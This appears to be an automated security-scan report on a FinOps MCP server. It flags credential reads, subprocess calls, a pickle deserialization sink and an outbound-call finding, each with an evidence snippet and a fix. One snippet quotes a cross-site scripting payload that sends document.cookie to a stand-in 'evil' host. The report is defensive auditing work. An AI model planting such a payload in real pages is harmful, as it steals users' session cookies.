Finops (getnable) MCP Server

In the server's implementation (`src/finops/ambient.py:4`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: fault chain: env vars, ~/.aws/credentials, named profiles, SSO, IMDS, ECS task roles. Azure asked only whether three ser

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/finops/ambient.py

In the server's implementation (`src/finops/analyzers/optimizer.py:59`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: hain (env vars → ~/.aws/credentials → instance profile) """ import boto3 if role_arn: sts = b

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/finops/analyzers/optimizer.py

In the server's implementation (`src/finops/cli_scan.py:827`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: looked in: env vars, ~/.aws/credentials, ~/.aws/config (SSO), instance metadata", " fix: `aws configu

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/finops/cli_scan.py

In the server's implementation (`src/finops/setup/cloud_infra.py:758`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: credentials (IAM role, ~/.aws/credentials, env vars). Zero config if already set up.", }, { "id": "aws_c

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/finops/setup/cloud_infra.py

In the server's implementation (`src/finops/setup_wizard.py:531`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ole credential was ~/.aws/credentials got "Found AWS credentials" from one command and "No unconnected credentia

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/finops/setup_wizard.py

In the server's implementation (`src/finops/connectors/terraform.py:43`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: on.load(f) result = subprocess.run( [os.environ.get("TERRAFORM_BIN", "terraform"), "show", "-json"],

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/finops/connectors/terraform.py

In the server's implementation (`src/finops/connectors/terraform_estimate.py:630`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: plan.bin") r1 = subprocess.run( [tf_bin, "plan", "-out=" + plan_path, "-input=false", "-lock=false"]

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/finops/connectors/terraform_estimate.py

In the server's implementation (`src/finops/remediation/rightsizing_pr.py:56`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: child_env result = subprocess.run( ["git", *args], cwd=tf_dir, capture_output=True,

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/finops/remediation/rightsizing_pr.py

In the server's implementation (`src/finops/setup_wizard.py:889`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ss try: r = subprocess.run(["aws", "--version"], capture_output=True, text=True, timeout=5) blob = (

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/finops/setup_wizard.py

In the server's implementation (`src/finops/tagging/tf_state.py:61`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: erraform") result = subprocess.run( [tf_bin, "show", "-json"], cwd=tf_dir, capture_output=Tr

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/finops/tagging/tf_state.py

In the server's implementation (`src/finops/tools/notifications.py:175`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: subprocess subprocess.Popen(["open", output["html"]]) except Exception: pass resul

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/finops/tools/notifications.py

In the server's implementation (`src/finops/tools/tickets.py:112`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: arwin": subprocess.Popen(["open", path]) elif sys.platform.startswith("linux"):

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/finops/tools/tickets.py

In the server's implementation (`src/finops/reporting/exporter.py:175`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ed `<img src=x onerror="fetch('https://evil/'+document.cookie)">` was written into the export as live markup, so who

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/finops/reporting/exporter.py

In the server's implementation (`src/finops/cache.py:286`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: urn (float(expires_at), pickle.loads(payload)) except Exception: return None finally: try:

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server src/finops/cache.py